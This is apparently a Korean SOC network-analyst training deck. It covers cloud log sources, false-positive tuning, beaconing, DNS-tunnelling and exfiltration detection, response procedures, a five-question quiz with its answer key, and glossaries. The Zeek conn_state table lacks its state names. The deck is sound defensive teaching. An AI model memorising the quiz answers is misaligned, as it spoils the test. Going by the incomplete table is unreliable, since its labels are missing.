클라우드에서는 패킷 대신 Flow Log와 API 로그가 네트워크 가시성의 핵심이다.

☁️ AWS

• VPC Flow Logs

• CloudTrail (API)

• GuardDuty (탐지)

• WAF Logs

• Route53 DNS Logs

🔷 Azure

• NSG Flow Logs

• Activity Log

• Defender for Cloud

• Azure Firewall Logs

• Microsoft Sentinel

🔶 GCP

• VPC Flow Logs

• Cloud Audit Logs

• Security Command Center

• Cloud Armor

• Chronicle

클라우드 탐지 = Flow Logs + API 로그 + 클라우드 네이티브 보안 서비스

보강 설명클라우드 환경 네트워크 탐지 데이터 소스에서는 패킷보다 Flow와 제어plane 로그가 더 중요할 수 있다. 클라우드는 센서 위치보다 수집 가능한 서비스 로그 종류와 보존 기간이 탐지 범위를 결정한다.

CloudFlow Log가시성

핵심 포인트

VPC/NSG/Load Balancer 로그와 IAM·API 로그를 함께 보는 구조 필요
클라우드에서는 자산 생성·삭제가 빨라 기준선도 자주 갱신해야 한다
Kubernetes는 Pod 간 East-West와 NetworkPolicy 맥락이 중요하다

추가 확인

퍼블릭 노출 리소스와 허용된 보안그룹/NSG 예외를 먼저 파악
로그 지연 시간과 보존 기간이 IR 속도에 미치는 영향 확인
클라우드 네이티브 서비스 호출이 정상 배포인지 공격인지 구분

실무 예시

클라우드 자격증명 탈취는 네트워크 로그보다 API 호출 패턴이 먼저 보일 수 있다
K8s는 Pod→Service→Node 흐름을 계층별로 봐야 원인을 찾기 쉽다
센서 부재 구간은 설계 단계에서 명시해 탐지 공백을 줄여야 한다

탐지 운영257

False Positive(오탐) 줄이는 5가지 전략

오탐이 많으면 분석가는 피로해지고 진짜 위협을 놓친다. 오탐 관리는 탐지 품질의 핵심이다.

1️⃣ 자산 컨텍스트 추가

스캐너, Bastion, 배포 서버 등 역할 기반 예외 화이트리스트

2️⃣ 기준선 활용

절대값 임계치 대신 평균 대비 N배 초과 조건 사용

3️⃣ 복합 조건

단일 지표 → 복수 지표 AND 조합으로 확신도 높임

4️⃣ 시간대 필터

업무 시간 외 이벤트에 더 높은 위험도 부여

5️⃣ 피드백 루프

오탐 발생 시 즉시 예외 등록 + 주기적 룰 검토

🚫 주의

오탐 줄이겠다고 임계치 너무 높이면 미탐 발생!

보강 설명False Positive(오탐) 줄이는 5가지 전략의 핵심은 개념 설명을 바로 실무 질문으로 연결하는 데 있다. 용어를 외우는 것보다 이 개념이 로그와 알람에서 어떻게 나타나는지 떠올리는 연습이 더 중요하다.

핵심 개념실무 질문학습 포인트

핵심 포인트

정의는 짧게 기억하고 로그에서의 모습까지 함께 연결하기
정상과 이상을 나누는 기준을 자산·시간·반복성으로 설명하기
단일 이벤트보다 사건 흐름과 후속 행동을 같이 보는 습관

추가 확인

이 개념이 실제로 보이는 로그와 도구를 한 가지 이상 연결하기
오탐이 날 수 있는 정상 예외를 한 줄로 적어 두기
다른 로그를 붙이면 판단이 어떻게 강해지는지 생각해 보기

미니 실습

슬라이드 내용을 한 문장 보고서로 바꿔 써 보기
핵심 필드 3개와 이유를 정리해 보기
정상 사례와 이상 사례를 각각 한 개씩 말해 보기

실습 리소스258

공개 PCAP 데이터셋으로 실전 연습하기

이론을 넘어 실제 악성 트래픽을 직접 분석해보는 것이 가장 빠른 성장 경로다.

📁 추천 공개 데이터셋

Malware-Traffic-Analysis.net
월별 실제 악성 트래픽 PCAP + 퀴즈

PCAP-ATTACK (GitHub)
공격 기법별 PCAP 모음

Wireshark Sample Captures
프로토콜별 정상/이상 샘플

CyberDefenders CTF
실제 침해 사례 기반 챌린지

🔄 실습 워크플로우

PCAP 다운로드 + Wireshark 오픈

Statistics → Conversations 전체 파악

의심 Flow 필터링 (DNS/HTTP/443)

Follow Stream으로 내용 확인

Fact+Pattern+Action 서술문 작성

도구 활용드릴다운운영 팁

핵심 포인트

거시 로그에서 이상 구간을 좁힌 뒤 상세 도구로 내려가는 순서를 유지
필터·필드·예외 조건을 팀 공통 언어로 정리해 두기
도구별 장점과 사각지대를 같이 적어야 오탐 대응이 빨라진다

추가 확인

입력 로그의 시간대·필드명·누락률부터 먼저 검증
도구 결과를 다른 센서의 사실과 반드시 교차 검증
자동화 스크립트는 실패 케이스와 예외 메시지까지 남기기

실무 예시

Wireshark는 Filter→Conversations→Follow Stream 순서가 안정적
Zeek는 conn.log만으로도 초동 triage의 절반 이상을 해결 가능
탐지 룰은 경보 문구에 왜 알렸는지 근거를 함께 넣어야 한다

커리어259

SOC/네트워크 보안 자격증 로드맵

자격증은 방향성 제시와 신뢰도 향상 도구다. 실습 포트폴리오와 함께 갖추면 시너지가 크다.

🟢 입문 (0~1년)

CompTIA Security+

CompTIA Network+

정보보안기사 필기

🟡 중급 (1~3년)

CompTIA CySA+

GCIA (GIAC IDS)

정보보안기사 실기

🔴 고급 (3년+)

GCFA / GNFA

CISSP

CISA / CISM

💡 한국: 정보보안기사(국가공인 필수) + 네트워크관리사 조합 추천

보강 설명SOC/네트워크 보안 자격증 로드맵는 수업을 끝내는 장면이 아니라 이후의 학습과 실습 루틴을 연결하는 슬라이드다. 반복적으로 로그를 읽고 판단문을 쓰는 습관이 결국 분석 품질을 만든다.

다음 단계루틴성장

다음 2주에 할 일

수업에서 본 예시 로그를 다시 읽고 1장 요약 만들기
Wireshark/Zeek/Flow 중 하나를 골라 손에 익힐 정도로 반복
자주 틀린 개념을 개인 치트시트로 정리하기

실무 감각 키우기

하루 10분이라도 정상과 이상 예시를 비교해 보는 루틴 만들기
동향 자료는 제목만 읽지 말고 우리 환경에 어떤 의미인지 적기
결론보다 근거와 추가 확인 질문을 쓰는 습관 유지

후속 학습 추천

Module 4의 SIEM 규칙과 상관분석에서 지금 배운 네트워크 지식이 재사용됨
PCAP·Threat Hunting·룰 튜닝은 작은 과제를 반복할수록 빨라진다
팀 내 리뷰를 통해 보고 문장의 명확성을 계속 다듬기

커리어260

SOC 네트워크 분석가 성장 지도

기술은 배울 수 있지만, 올바른 사고 구조가 없으면 기술이 힘을 발휘하지 못한다.

🌱

입문

IP/포트 이해
기본 도구 사용
Alert 처리

🔍

중급

프로토콜 분석
케이스 연결
판단문 작성

🏗️

고급

탐지 룰 설계
Threat Hunting
자동화 구축

🎯

전문가

탐지 아키텍처
팀 역량 개발
전략 수립

각 단계의 핵심: 도구 사용 → 패턴 인식 → 설계 능력 → 전략적 사고

보강 설명SOC 네트워크 분석가 성장 지도의 핵심은 개념 설명을 바로 실무 질문으로 연결하는 데 있다. 용어를 외우는 것보다 이 개념이 로그와 알람에서 어떻게 나타나는지 떠올리는 연습이 더 중요하다.

핵심 개념실무 질문학습 포인트

핵심 포인트

정의는 짧게 기억하고 로그에서의 모습까지 함께 연결하기
정상과 이상을 나누는 기준을 자산·시간·반복성으로 설명하기
단일 이벤트보다 사건 흐름과 후속 행동을 같이 보는 습관

추가 확인

이 개념이 실제로 보이는 로그와 도구를 한 가지 이상 연결하기
오탐이 날 수 있는 정상 예외를 한 줄로 적어 두기
다른 로그를 붙이면 판단이 어떻게 강해지는지 생각해 보기

미니 실습

슬라이드 내용을 한 문장 보고서로 바꿔 써 보기
핵심 필드 3개와 이유를 정리해 보기
정상 사례와 이상 사례를 각각 한 개씩 말해 보기

커리어261

SOC 분석가 면접 — 네트워크 질문 Top 5

기술 지식뿐 아니라 사고 방식과 판단 구조를 보여주는 답변이 좋은 면접 답변이다.

Q1. Port Scan과 정상 네트워크 스캔의 차이?

A: 출발지(내부 스캐너 vs 외부 미인증), 대상 범위, 포트 다양성, 시간대, 사전 승인 여부를 종합 확인합니다.

Q2. DNS Tunneling을 어떻게 탐지하나요?

A: 서브도메인 길이 이상, 질의 빈도 급증, NXDOMAIN 비율, TXT/NULL 레코드 비정상 사용, 단일 도메인 집중 질의로 확인합니다.

Q3. HTTPS 트래픽에서 악성 C2를 어떻게 탐지하나요?

A: TLS 메타데이터(JA3/JA3S), 인증서 정보, 도메인 생성일, 연결 주기성, 프록시 로그 활용합니다.

Q4. Beaconing과 정상 업데이트 트래픽 구분법은?

A: 목적지 도메인 평판/등록일, 인증서, EDR 연결 프로세스, 업데이트 서버 화이트리스트 대조로 구분합니다.

Q5. Lateral Movement를 네트워크에서 어떻게 탐지하나요?

A: 서버간 비정상 RDP/SSH/SMB, 평소 통신 없던 자산 간 신규 연결, 서비스 계정 비정상 인증을 탐지합니다.

보강 설명SOC 분석가 면접 — 네트워크 질문 Top 5는 정답 맞히기보다 근거를 조립하는 연습에 가깝다. 주어진 로그에서 무엇이 사실인지, 어디가 추론인지, 어떤 추가 로그가 필요한지 먼저 나누어 적는 것이 중요하다.

실습답안 포인트추가 로그

답안 포인트

시간순으로 재배치한 뒤 공격 단계 또는 운영 상황을 먼저 정의
상태코드·bytes·반복성·시간대를 빠짐없이 근거로 제시
단정 표현보다 확신도와 근거 수준을 함께 적기

추가 확인

같은 IP·계정·호스트의 전후 30분 범위를 묶어 흐름 보기
DNS·EDR·인증·Proxy 중 하나 이상을 추가 확보해 교차 검증
오탐 시나리오도 한 줄로 적어 판단의 균형 유지

미니 실습

로그 3줄을 하나의 타임라인 문장으로 정리해 보기
즉시 조치와 추가 조사 항목을 따로 적어 보기
동일 현상을 개발팀·운영팀·관리자용 문장으로 각각 바꿔 보기

복습262

실전 퀴즈 — 네트워크 판단 Q1~Q5

암기가 아닌 적용을 테스트한다. 이 문제들이 실무에서 실제로 만나는 판단 상황이다.

Q1. DB 서버가 새벽 2시에 외부 IP와 443 세션을 30분 유지. 가장 먼저 확인할 것은?

① Outbound 바이트 크기 ② 해당 IP DNS 질의 이력 ③ DB 설치 소프트웨어 ④ 방화벽 정책

Q2. DNS NXDOMAIN이 5분 내 200회. DGA 의심 추가 근거는?

① 질의 도메인의 엔트로피가 높다 ② 모두 .com TLD ③ 내부 DNS 서버 ④ 수가 많다

Q3. Zeek conn_state가 "S0"인 연결이 많다. 이것의 의미는?

① 정상 완료 세션 ② SYN만 보내고 응답 없음 ③ RST 종료 ④ FIN 정상 종료

Q4. User-Agent가 "python-requests/2.31". 이것만으로 악성이라고 단정할 수 있나?

① 예, 무조건 악성 ② 아니오, 정상 자동화도 가능 ③ 알 수 없다 ④ 포트에 따라

Q5. 5분 간격 규칙적 443 세션. Beaconing 단정이 어려운 이유는?

① 443은 정상 ② SW 업데이트/헬스체크도 규칙적 연결 가능 ③ 5분은 짧다 ④ 세션이 너무 적다

보강 설명실전 퀴즈 — 네트워크 판단 Q1~Q5는 정답 맞히기보다 근거를 조립하는 연습에 가깝다. 주어진 로그에서 무엇이 사실인지, 어디가 추론인지, 어떤 추가 로그가 필요한지 먼저 나누어 적는 것이 중요하다.

실습답안 포인트추가 로그

답안 포인트

시간순으로 재배치한 뒤 공격 단계 또는 운영 상황을 먼저 정의
상태코드·bytes·반복성·시간대를 빠짐없이 근거로 제시
단정 표현보다 확신도와 근거 수준을 함께 적기

추가 확인

같은 IP·계정·호스트의 전후 30분 범위를 묶어 흐름 보기
DNS·EDR·인증·Proxy 중 하나 이상을 추가 확보해 교차 검증
오탐 시나리오도 한 줄로 적어 판단의 균형 유지

미니 실습

로그 3줄을 하나의 타임라인 문장으로 정리해 보기
즉시 조치와 추가 조사 항목을 따로 적어 보기
동일 현상을 개발팀·운영팀·관리자용 문장으로 각각 바꿔 보기

복습263

퀴즈 정답 및 해설 (Q1~Q5)

정답보다 중요한 것은 왜 그 답인지 근거를 설명할 수 있는가이다.

A1. ① Outbound 바이트 — 새벽+외부 연결 판단에서 바이트 방향·크기가 1순위 근거

A2. ① 엔트로피(무작위성) — DGA 도메인의 핵심 특성. 단순 횟수는 근거 부족

A3. ② S0 = SYN 전송 후 응답 없음 = Port Scan의 대표 패턴

A4. ② python-requests는 정상 업무 자동화에도 쓰임. 맥락(URL, 대상, 횟수)을 함께 봐야 판단 가능

A5. ② 업데이트 체크, 에이전트 헬스체크도 규칙적. EDR 프로세스 + 목적지 도메인 확인 필요

보강 설명퀴즈 정답 및 해설 (Q1~Q5)는 정답 맞히기보다 근거를 조립하는 연습에 가깝다. 주어진 로그에서 무엇이 사실인지, 어디가 추론인지, 어떤 추가 로그가 필요한지 먼저 나누어 적는 것이 중요하다.

실습답안 포인트추가 로그

답안 포인트

시간순으로 재배치한 뒤 공격 단계 또는 운영 상황을 먼저 정의
상태코드·bytes·반복성·시간대를 빠짐없이 근거로 제시
단정 표현보다 확신도와 근거 수준을 함께 적기

추가 확인

같은 IP·계정·호스트의 전후 30분 범위를 묶어 흐름 보기
DNS·EDR·인증·Proxy 중 하나 이상을 추가 확보해 교차 검증
오탐 시나리오도 한 줄로 적어 판단의 균형 유지

미니 실습

로그 3줄을 하나의 타임라인 문장으로 정리해 보기
즉시 조치와 추가 조사 항목을 따로 적어 보기
동일 현상을 개발팀·운영팀·관리자용 문장으로 각각 바꿔 보기

운영 실무264

네트워크 보안관제 — 분석가 일일 체크 루틴

체계적인 루틴이 있어야 중요한 것을 빠뜨리지 않고 효율적으로 관제할 수 있다.

🌅 업무 시작 (첫 30분)

☐ 전일 미처리 Alert 확인

☐ 야간 이상 트래픽 검토

☐ 위협 인텔 피드 업데이트

☐ 수집 시스템 상태 점검

📊 정기 분석 (매일)

☐ Top N 외부 통신 목적지

☐ DNS 이상 (NXDOMAIN 비율)

☐ 대량 업로드 자산 확인

☐ 새벽 비정상 세션

🔍 주간 검토

☐ 오탐 현황 및 룰 튜닝

☐ 처리 지연 케이스 검토

☐ 신규 TTP 업데이트 적용

📝 기록 원칙

☐ 모든 조치는 티켓에 기록

☐ 정상 판단 근거도 남기기

☐ 에스컬레이션 기준 명시

탐지 운영265

Alert Fatigue — 경보 피로 극복하기

하루 10,000개 알람 중 진짜 위협이 3개라면, 분석가는 결국 모든 알람을 무시하게 된다.

😫 Alert Fatigue 징후

• 알람 확인 않고 닫는 빈도 증가

• "어차피 오탐" 편향 심화

• Triage 시간이 점점 짧아짐

• 고심도 알람도 지연 처리

✅ 해결 전략

🎯 알람 품질 개선 (오탐률 20% 이하)

📊 Risk Scoring 자동 우선순위화

🤖 SOAR로 단순 enrichment 자동화

📈 알람 처리 KPI 주기적 검토

🔕 잘 안 쓰는 룰 주기적 비활성화

Signal-to-Noise Ratio 개선이 SOC 성숙도의 핵심 지표

보강 설명Alert Fatigue — 경보 피로 극복하기의 핵심은 개념 설명을 바로 실무 질문으로 연결하는 데 있다. 용어를 외우는 것보다 이 개념이 로그와 알람에서 어떻게 나타나는지 떠올리는 연습이 더 중요하다.

핵심 개념실무 질문학습 포인트

핵심 포인트

정의는 짧게 기억하고 로그에서의 모습까지 함께 연결하기
정상과 이상을 나누는 기준을 자산·시간·반복성으로 설명하기
단일 이벤트보다 사건 흐름과 후속 행동을 같이 보는 습관

추가 확인

이 개념이 실제로 보이는 로그와 도구를 한 가지 이상 연결하기
오탐이 날 수 있는 정상 예외를 한 줄로 적어 두기
다른 로그를 붙이면 판단이 어떻게 강해지는지 생각해 보기

미니 실습

슬라이드 내용을 한 문장 보고서로 바꿔 써 보기
핵심 필드 3개와 이유를 정리해 보기
정상 사례와 이상 사례를 각각 한 개씩 말해 보기

실무 스킬266

네트워크 이벤트 서술문 작성 — 7가지 원칙

좋은 서술문은 다음 팀이 읽자마자 판단하고 행동할 수 있게 해준다.

✅ 7가지 원칙

1. 관측 사실부터 시작한다

2. 시간, IP, 포트, 바이트를 구체적으로

3. 이상 패턴을 1문장으로 요약

4. 정상 가능성도 1줄 언급

5. 추가 확인 항목을 제시

6. 권고 조치를 구체적으로

7. 위험도 레이블 (Low/Med/High)

✅ 좋은 서술문 예시

[High] 2024-03-15 02:41~03:22 내부 hr-pc-07(10.0.1.55)이 희귀 도메인 cdn-support-check.top 질의 후 5분 간격 동일 외부 198.51.100.9:443 세션 반복. 사용자 행위 로그 무활동 확인. → Beaconing 가능성. EDR 프로세스 및 목적지 과거 이력 확인 권고.

보강 설명네트워크 이벤트 서술문 작성 — 7가지 원칙 슬라이드는 기술 판단을 운영 문장으로 바꾸는 방법을 다루는 구간이다. 사실·패턴·맥락·조치를 분리해서 적으면 에스컬레이션과 후속 협업이 훨씬 쉬워진다.

운영 실무판단문에스컬레이션

핵심 포인트

사실과 추론을 분리해 적으면 보고 신뢰도가 높아진다
위험도 판단에는 자산 중요도와 현재 진행 여부를 반드시 포함
좋은 문장은 다음 조치와 추가 확인이 무엇인지 바로 보이게 한다

추가 확인

오탐 가능성도 함께 적어 후속 팀의 판단 비용을 줄이기
누락된 로그 소스와 필요한 권한·담당 부서를 같이 명시하기
보고 대상이 기술팀인지 경영진인지에 따라 표현 수준 조정

실무 적용

에스컬레이션은 늦음보다 근거 있는 조기 공유가 더 안전한 경우가 많다
기준선은 숫자와 기간을 명시해야 룰 튜닝에 재사용 가능하다
표준 문장 템플릿을 만들어 팀 내 판단 품질을 균일화할 수 있다

대응 매뉴얼267

Port Scan 탐지 → 대응 표준 절차

Port Scan은 공격의 전조다. 탐지 즉시 체계적으로 대응해야 이후 공격 단계를 차단할 수 있다.

Step 1: 확인

출발지 IP 외부 여부, 스캔 포트 범위, 대상 자산 중요도 확인

Step 2: 보강

AbuseIPDB/VT로 IP 평판 확인, 동일 IP 다른 자산 접근 이력 조회

Step 3: 차단 검토

악성 평판 확인 시 방화벽 차단 요청, 내부 스캐너면 예외 처리

Step 4: 후속 모니터링

동일 IP의 인증 시도, 이후 연결 성공 여부 72시간 모니터링

Step 5: 기록

티켓 생성, 조치 내역, 판단 근거 기록

공격 패턴전조 신호조치 우선순위

대표 신호

반복성·대상 다양성·시간 간격이 공격 자동화 여부를 드러낸다
단일 성공보다 성공 전후 로그와 후속 행동을 함께 본다
정상 업무 패턴과 비교한 이탈 정도를 수치로 적어 두면 강하다

추가 확인

같은 출발지 또는 같은 계정의 전후 30분 흐름을 묶어 보기
DNS·Flow·EDR·인증 로그 중 비어 있는 소스를 한 개 더 확보하기
핵심 자산 여부와 현재 진행 중인지 여부를 먼저 판단하기

즉시 조치 힌트

정찰 단계라도 응답 성공 포트와 노출 자산을 우선 정리
인증 성공·Beaconing·유출은 차단 또는 격리 우선순위가 높다
판단문에는 사실·패턴·영향·권고 조치를 분리해서 적는다

대응 매뉴얼268

Beaconing 의심 → 대응 표준 절차

Beaconing은 이미 침투 이후 단계일 수 있다. 빠른 확인과 격리가 피해 범위를 결정한다.

🔍 즉시 확인 사항

📡 목적지 도메인/IP 평판 (VT, AbuseIPDB)

🖥️ 해당 호스트 EDR 프로세스 확인

📅 도메인 등록일 / 인증서 발급일

📊 JA3 핑거프린트 악성 DB 대조

💻 사용자 행위 로그 (로그인, 파일 접근)

⚡ 대응 흐름

목적지 차단 (방화벽/Proxy)

고위험 판단 시 호스트 네트워크 격리

EDR 포렌식 수집 시작

IR팀/관리자 에스컬레이션

보강 설명Beaconing은 사람이 만들기 어려운 규칙성이 핵심이다. 짧은 세션, 비슷한 바이트, 주기적 반복, 비업무 시간 지속 여부를 함께 보면 자동화 C2 여부를 빨리 좁힐 수 있다.

공격 패턴전조 신호조치 우선순위

대표 신호

반복성·대상 다양성·시간 간격이 공격 자동화 여부를 드러낸다
단일 성공보다 성공 전후 로그와 후속 행동을 함께 본다
정상 업무 패턴과 비교한 이탈 정도를 수치로 적어 두면 강하다

추가 확인

같은 출발지 또는 같은 계정의 전후 30분 흐름을 묶어 보기
DNS·Flow·EDR·인증 로그 중 비어 있는 소스를 한 개 더 확보하기
핵심 자산 여부와 현재 진행 중인지 여부를 먼저 판단하기

즉시 조치 힌트

정찰 단계라도 응답 성공 포트와 노출 자산을 우선 정리
인증 성공·Beaconing·유출은 차단 또는 격리 우선순위가 높다
판단문에는 사실·패턴·영향·권고 조치를 분리해서 적는다

대응 매뉴얼269

데이터 유출(Exfiltration) 의심 → 대응 절차

유출은 차단이 늦을수록 피해 범위가 커진다. 빠른 판단과 동시에 증거 보존도 병행해야 한다.

🚨 즉시 조치 (T+0~5분)

🔥 목적지 도메인/IP 방화벽 차단 요청

📊 Proxy에서 URL/도메인 Block

📦 PCAP/로그 즉시 보존 (덮어쓰기 방지)

🔍 확인 사항 (T+5~30분)

📊 유출 데이터 종류 추정 (파일 서버 접근)

💻 해당 호스트 사용자 확인

🔗 동일 목적지 다른 자산 연결 여부

⚖️ 피해 범위 판단

• 전송된 총 바이트 수

• 접근한 파일 서버/DB

• 처음 연결 발생 시각

• 동일 패턴 다른 호스트

차단 + 보존 동시에. 차단만 하면 증거 소멸 위험!

공격 패턴전조 신호조치 우선순위

대표 신호

반복성·대상 다양성·시간 간격이 공격 자동화 여부를 드러낸다
단일 성공보다 성공 전후 로그와 후속 행동을 함께 본다
정상 업무 패턴과 비교한 이탈 정도를 수치로 적어 두면 강하다

추가 확인

같은 출발지 또는 같은 계정의 전후 30분 흐름을 묶어 보기
DNS·Flow·EDR·인증 로그 중 비어 있는 소스를 한 개 더 확보하기
핵심 자산 여부와 현재 진행 중인지 여부를 먼저 판단하기

즉시 조치 힌트

정찰 단계라도 응답 성공 포트와 노출 자산을 우선 정리
인증 성공·Beaconing·유출은 차단 또는 격리 우선순위가 높다
판단문에는 사실·패턴·영향·권고 조치를 분리해서 적는다

분석 심화270

다중 로그 상관분석 — 실전 3단계

같은 타임라인에 여러 로그를 겹치면 단일 로그에서 보이지 않던 공격 흐름이 드러난다.

📐 상관분석 3단계

1단계: 시간축 정렬
모든 로그를 UTC 기준으로 정렬

2단계: 공통 키 연결
IP / 호스트명 / 사용자로 로그 조인

3단계: 이벤트 체인 구성
시간 순서대로 사건 흐름 재구성

🔗 상관 가능한 로그 조합

DNS 질의 → Zeek conn → Proxy URL

Firewall allow → auth.log → EDR 프로세스

IDS Alert → PCAP → Follow Stream

VPN 로그인 → 내부 SMB → 대용량 전송

단일 로그 100개 < 상관된 로그 3개

보강 설명다중 로그 상관분석 — 실전 3단계의 핵심은 개념 설명을 바로 실무 질문으로 연결하는 데 있다. 용어를 외우는 것보다 이 개념이 로그와 알람에서 어떻게 나타나는지 떠올리는 연습이 더 중요하다.

핵심 개념실무 질문학습 포인트

핵심 포인트

정의는 짧게 기억하고 로그에서의 모습까지 함께 연결하기
정상과 이상을 나누는 기준을 자산·시간·반복성으로 설명하기
단일 이벤트보다 사건 흐름과 후속 행동을 같이 보는 습관

추가 확인

이 개념이 실제로 보이는 로그와 도구를 한 가지 이상 연결하기
오탐이 날 수 있는 정상 예외를 한 줄로 적어 두기
다른 로그를 붙이면 판단이 어떻게 강해지는지 생각해 보기

미니 실습

슬라이드 내용을 한 문장 보고서로 바꿔 써 보기
핵심 필드 3개와 이유를 정리해 보기
정상 사례와 이상 사례를 각각 한 개씩 말해 보기

종합 실습271

종합 실습 과제 — 실제 데이터셋 분석

이론을 실전으로 연결하는 단계별 실습 가이드.

🎯 실습 대상

Malware-Traffic-Analysis.net
월별 실제 악성 트래픽 PCAP + 해설 퀴즈

1. PCAP 다운로드 (최근 케이스 선택)

2. Wireshark로 전체 파악

3. DNS/HTTP/TLS 분석

4. 타임라인 재구성

5. 판단문 작성 제출

📝 제출 양식

## 분석 요약 - 분석자: ___ - 데이터: ___ - 기간: ___ ## Fact (관측 사실) ... ## Pattern (이상 패턴) ... ## Context (예외 가능성) ... ## Action (권고 조치) ... ## 위험도: [Low/Med/High]

보강 설명종합 실습 과제 — 실제 데이터셋 분석는 정답 맞히기보다 근거를 조립하는 연습에 가깝다. 주어진 로그에서 무엇이 사실인지, 어디가 추론인지, 어떤 추가 로그가 필요한지 먼저 나누어 적는 것이 중요하다.

실습답안 포인트추가 로그

답안 포인트

시간순으로 재배치한 뒤 공격 단계 또는 운영 상황을 먼저 정의
상태코드·bytes·반복성·시간대를 빠짐없이 근거로 제시
단정 표현보다 확신도와 근거 수준을 함께 적기

추가 확인

같은 IP·계정·호스트의 전후 30분 범위를 묶어 흐름 보기
DNS·EDR·인증·Proxy 중 하나 이상을 추가 확보해 교차 검증
오탐 시나리오도 한 줄로 적어 판단의 균형 유지

미니 실습

로그 3줄을 하나의 타임라인 문장으로 정리해 보기
즉시 조치와 추가 조사 항목을 따로 적어 보기
동일 현상을 개발팀·운영팀·관리자용 문장으로 각각 바꿔 보기

부록272

네트워크 보안 핵심 용어집 (A–F)

현장에서 자주 쓰이지만 헷갈리는 용어들을 정확히 정리한다.

APT

Advanced Persistent Threat. 장기간 은밀히 활동하는 고도화된 공격 그룹

Beaconing

악성코드가 C2 서버에 정기적으로 체크인하는 행위. 규칙적 간격이 특징

C2 (C&C)

Command and Control. 공격자가 악성코드를 원격 제어하는 서버/채널

DGA

Domain Generation Algorithm. 악성코드가 C2 도메인을 자동 생성하는 알고리즘

Exfiltration

내부 데이터를 외부로 빼내는 행위. ATT&CK TA0010 전술

Flow

동일한 5-tuple(src IP, dst IP, src Port, dst Port, Protocol)을 공유하는 패킷의 집합

보강 설명네트워크 보안 핵심 용어집 (A–F) 같은 부록 슬라이드는 암기용보다 실무 참조용으로 보는 편이 효율적이다. 용어·포트·필드·치트시트는 현장에서 꺼내 쓰기 쉬운 묶음으로 정리해 두는 것이 핵심이다.

참조 자료치트시트빠른 확인

읽는 법

유사 개념은 함께 묶어 차이를 한 줄로 적어 두기
도구별 다른 필드명이나 같은 의미의 약어를 나란히 두기
자주 보는 값은 예시 로그 한 줄과 같이 기억하면 오래 간다

현장 활용

FAQ와 참조표는 에스컬레이션 전 초동 확인 체크리스트로 재사용
신입 온보딩 자료와 룰 설명서에 그대로 붙여 활용 가능
팀별 예외 환경을 손으로 메모해 조직 맞춤형으로 갱신

복습 포인트

오늘 가장 자주 나온 용어 5개를 직접 예문으로 바꿔 보기
포트와 프로토콜은 역할 중심으로만 기억하고 나머지는 참조
필드명은 Zeek·Firewall·Proxy에서 어떻게 달라지는지 비교하기

부록273

네트워크 보안 핵심 용어집 (G–P)

현장에서 자주 쓰이지만 헷갈리는 용어들을 정확히 정리한다.

GeoIP

IP 주소의 지리적 위치 정보. 탐지 보조 지표로 활용 (단독 판단 금지)

IOC

Indicator of Compromise. 침해 지표. 악성 IP, 도메인, 해시, URL 등

JA3 / JA3S

TLS 클라이언트/서버 핸드셰이크 파라미터를 MD5로 해시한 핑거프린트

Lateral Movement

공격자가 초기 침투 후 내부 네트워크를 이동하며 접근 범위를 확장하는 행위

NXDOMAIN

존재하지 않는 도메인에 대한 DNS 응답. 대량 발생 시 DGA/터널링 의심

PCAP

Packet Capture. 네트워크 패킷을 파일로 저장한 포맷. Wireshark로 분석 가능

보강 설명네트워크 보안 핵심 용어집 (G–P) 같은 부록 슬라이드는 암기용보다 실무 참조용으로 보는 편이 효율적이다. 용어·포트·필드·치트시트는 현장에서 꺼내 쓰기 쉬운 묶음으로 정리해 두는 것이 핵심이다.

참조 자료치트시트빠른 확인

읽는 법

유사 개념은 함께 묶어 차이를 한 줄로 적어 두기
도구별 다른 필드명이나 같은 의미의 약어를 나란히 두기
자주 보는 값은 예시 로그 한 줄과 같이 기억하면 오래 간다

현장 활용

FAQ와 참조표는 에스컬레이션 전 초동 확인 체크리스트로 재사용
신입 온보딩 자료와 룰 설명서에 그대로 붙여 활용 가능
팀별 예외 환경을 손으로 메모해 조직 맞춤형으로 갱신

복습 포인트

오늘 가장 자주 나온 용어 5개를 직접 예문으로 바꿔 보기
포트와 프로토콜은 역할 중심으로만 기억하고 나머지는 참조
필드명은 Zeek·Firewall·Proxy에서 어떻게 달라지는지 비교하기

부록274

네트워크 보안 핵심 용어집 (R–Z)

현장에서 자주 쓰이지만 헷갈리는 용어들을 정확히 정리한다.

Recon (정찰)

공격 전 대상 정보 수집 단계. Port Scan, WHOIS, DNS 조회 등 포함

SIEM

Security Information and Event Management. 로그 수집·분석·상관분석 플랫폼

TTP

Tactics, Techniques, and Procedures. 공격자의 행동 패턴. ATT&CK에서 분류

UEBA

User and Entity Behavior Analytics. 사용자·기기 행위 이상 탐지 기술

XDR

Extended Detection and Response. 네트워크·엔드포인트·클라우드 통합 탐지

Zero Trust

내부망 신뢰 제거 원칙. "절대 신뢰하지 말고 항상 검증하라" 보안 모델

보강 설명네트워크 보안 핵심 용어집 (R–Z) 같은 부록 슬라이드는 암기용보다 실무 참조용으로 보는 편이 효율적이다. 용어·포트·필드·치트시트는 현장에서 꺼내 쓰기 쉬운 묶음으로 정리해 두는 것이 핵심이다.

참조 자료치트시트빠른 확인

읽는 법

유사 개념은 함께 묶어 차이를 한 줄로 적어 두기
도구별 다른 필드명이나 같은 의미의 약어를 나란히 두기
자주 보는 값은 예시 로그 한 줄과 같이 기억하면 오래 간다

현장 활용

FAQ와 참조표는 에스컬레이션 전 초동 확인 체크리스트로 재사용
신입 온보딩 자료와 룰 설명서에 그대로 붙여 활용 가능
팀별 예외 환경을 손으로 메모해 조직 맞춤형으로 갱신

복습 포인트

오늘 가장 자주 나온 용어 5개를 직접 예문으로 바꿔 보기
포트와 프로토콜은 역할 중심으로만 기억하고 나머지는 참조
필드명은 Zeek·Firewall·Proxy에서 어떻게 달라지는지 비교하기

참조표275

Zeek conn_state 완전 참조표

conn_state 값을 이해하면 연결의 성공/실패/비정상을 한눈에 파악할 수 있다.

상태값

의미

보안 관점

정상 완료 (SYN+FIN)

정상 세션

SYN만 전송, 응답 없음

Port Scan 의심

SYN + SYN-ACK, 완료 안 됨

불완전 연결

REJ

연결 거부 (RST)

서비스 없음 or 방화벽

RSTO

연결 중 RST (Origin)

비정상 종료

OTH

중간 트래픽만 관찰됨

캡처 공백 가능성

보강 설명Zeek conn_state 완전 참조표 같은 부록 슬라이드는 암기용보다 실무 참조용으로 보는 편이 효율적이다. 용어·포트·필드·치트시트는 현장에서 꺼내 쓰기 쉬운 묶음으로 정리해 두는 것이 핵심이다.

참조 자료치트시트빠른 확인

읽는 법

유사 개념은 함께 묶어 차이를 한 줄로 적어 두기
도구별 다른 필드명이나 같은 의미의 약어를 나란히 두기
